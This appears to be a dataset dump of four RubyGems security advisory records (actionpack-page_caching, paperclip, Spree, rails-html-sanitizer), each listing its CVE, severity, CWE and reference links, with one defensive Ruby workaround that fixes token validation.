RubyGems | GHSA-mg5p-95m9-rmfp | Arbitrary file write in actionpack-page_caching gem | There is a vulnerability in actionpack_page-caching gem < v1.2.1 that allows an attacker to write arbitrary files to a web server, potentially resulting in remote code execution if the attacker can write unescaped ERB to a view. | {'CVE-2020-8159'} | 2022-04-07T15:17:02.937159Z | 2020-05-13T16:28:46Z | CRITICAL | null | {'CWE-22'} | {'https://lists.debian.org/debian-lts-announce/2021/07/msg00019.html', 'https://groups.google.com/forum/#!topic/rubyonrails-security/CFRVkEytdP8', 'https://nvd.nist.gov/vuln/detail/CVE-2020-8159', 'https://github.com/rails/actionpack-page_caching/commit/127da70a559bed4fc573fdb4a6d498a7d5815ce2'} | null | {'https://github.com/rails/actionpack-page_caching/commit/127da70a559bed4fc573fdb4a6d498a7d5815ce2'} | {'https://github.com/rails/actionpack-page_caching/commit/127da70a559bed4fc573fdb4a6d498a7d5815ce2'} |
RubyGems | GHSA-6jvm-3j5h-79f6 | Moderate severity vulnerability that affects paperclip | The thoughtbot paperclip gem before 4.2.2 for Ruby does not consider the content-type value during media-type validation, which allows remote attackers to upload HTML documents and conduct cross-site scripting (XSS) attacks via a spoofed value, as demonstrated by image/jpeg. | {'CVE-2015-2963'} | 2022-03-03T05:13:20.403613Z | 2017-10-24T18:33:36Z | MODERATE | null | {'CWE-79'} | {'https://robots.thoughtbot.com/paperclip-security-release', 'http://www.securityfocus.com/bid/75304', 'https://nvd.nist.gov/vuln/detail/CVE-2015-2963', 'https://github.com/thoughtbot/paperclip', 'http://jvndb.jvn.jp/jvndb/JVNDB-2015-000088', 'http://jvn.jp/en/jp/JVN83881261/index.html', 'https://github.com/thoughtbot/paperclip/commit/9aee4112f36058cd28d5fe4a006d6981bd1eda57', 'http://openwall.com/lists/oss-security/2015/06/19/3', 'https://github.com/advisories/GHSA-6jvm-3j5h-79f6'} | null | {'https://github.com/thoughtbot/paperclip/commit/9aee4112f36058cd28d5fe4a006d6981bd1eda57'} | {'https://github.com/thoughtbot/paperclip/commit/9aee4112f36058cd28d5fe4a006d6981bd1eda57'} |
RubyGems | GHSA-f8cm-364f-q9qh | Ensure that doorkeeper_token is valid when authenticating requests in API v2 calls | ### Impact
The perpetrator who previously obtained an old expired user token could use it to access Storefront API v2 endpoints.
### Patches
Please upgrade to 3.7.11, 4.0.4, or 4.1.11 depending on your used Spree version.
### Workarounds
In your project directory create a decorator file `app/controllers/spree/api/v2/base_controller_decotatror.rb` with contents:
```ruby
module Spree
module Api
module V2
module BaseControllerDecorator
private
def spree_current_user
return nil unless doorkeeper_token
return @spree_current_user if @spree_current_user
doorkeeper_authorize!
@spree_current_user ||= ::Spree.user_class.find_by(id: doorkeeper_token.resource_owner_id)
end
end
end
end
Spree::Api::V2::BaseController.prepend(Spree::Api::V2::BaseControllerDecorator)
```
### For more information
If you have any questions or comments about this advisory:
* Email us at [security@spreecommerce.org](mailto:security@spreecommerce.org) | {'CVE-2020-15269'} | 2022-03-03T05:14:18.631312Z | 2020-10-20T20:03:52Z | HIGH | null | {'CWE-613', 'CWE-287'} | {'https://github.com/spree/spree/commit/e43643abfe51f54bd9208dd02298b366e9b9a847', 'https://nvd.nist.gov/vuln/detail/CVE-2020-15269', 'https://github.com/spree/spree/security/advisories/GHSA-f8cm-364f-q9qh', 'https://github.com/spree/spree'} | null | {'https://github.com/spree/spree/commit/e43643abfe51f54bd9208dd02298b366e9b9a847'} | {'https://github.com/spree/spree/commit/e43643abfe51f54bd9208dd02298b366e9b9a847'} |
RubyGems | GHSA-59c7-4xj2-hgvw | Moderate severity vulnerability that affects rails-html-sanitizer | Cross-site scripting (XSS) vulnerability in the rails-html-sanitizer gem before 1.0.3 for Ruby on Rails 4.2.x and 5.x allows remote attackers to inject arbitrary web script or HTML via crafted tag attributes. | {'CVE-2015-7578'} | 2022-03-03T05:12:07.032028Z | 2017-10-24T18:33:36Z | MODERATE | null | {'CWE-79'} | {'http://www.openwall.com/lists/oss-security/2016/01/25/11', 'http://www.securitytracker.com/id/1034816', 'http://lists.opensuse.org/opensuse-security-announce/2016-04/msg00053.html', 'http://lists.fedoraproject.org/pipermail/package-announce/2016-February/178046.html', 'https://github.com/rails/rails-html-sanitizer/commit/297161e29a3e11186ce4c02bf7defc088bf544d4', 'https://github.com/advisories/GHSA-59c7-4xj2-hgvw', 'http://lists.opensuse.org/opensuse-security-announce/2016-02/msg00024.html', 'http://lists.opensuse.org/opensuse-security-announce/2016-02/msg00014.html', 'https://nvd.nist.gov/vuln/detail/CVE-2015-7578', 'https://groups.google.com/forum/message/raw?msg=ruby-security-ann/uh--W4TDwmI/ygHE7hlZEgAJ', 'https://github.com/rails/rails-html-sanitizer/', 'http://lists.fedoraproject.org/pipermail/package-announce/2016-February/178064.html'} | null | {'https://github.com/rails/rails-html-sanitizer/commit/297161e29a3e11186ce4c02bf7defc088bf544d4'} | {'https://github.com/rails/rails-html-sanitizer/commit/297161e29a3e11186ce4c02bf7defc088bf544d4'} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.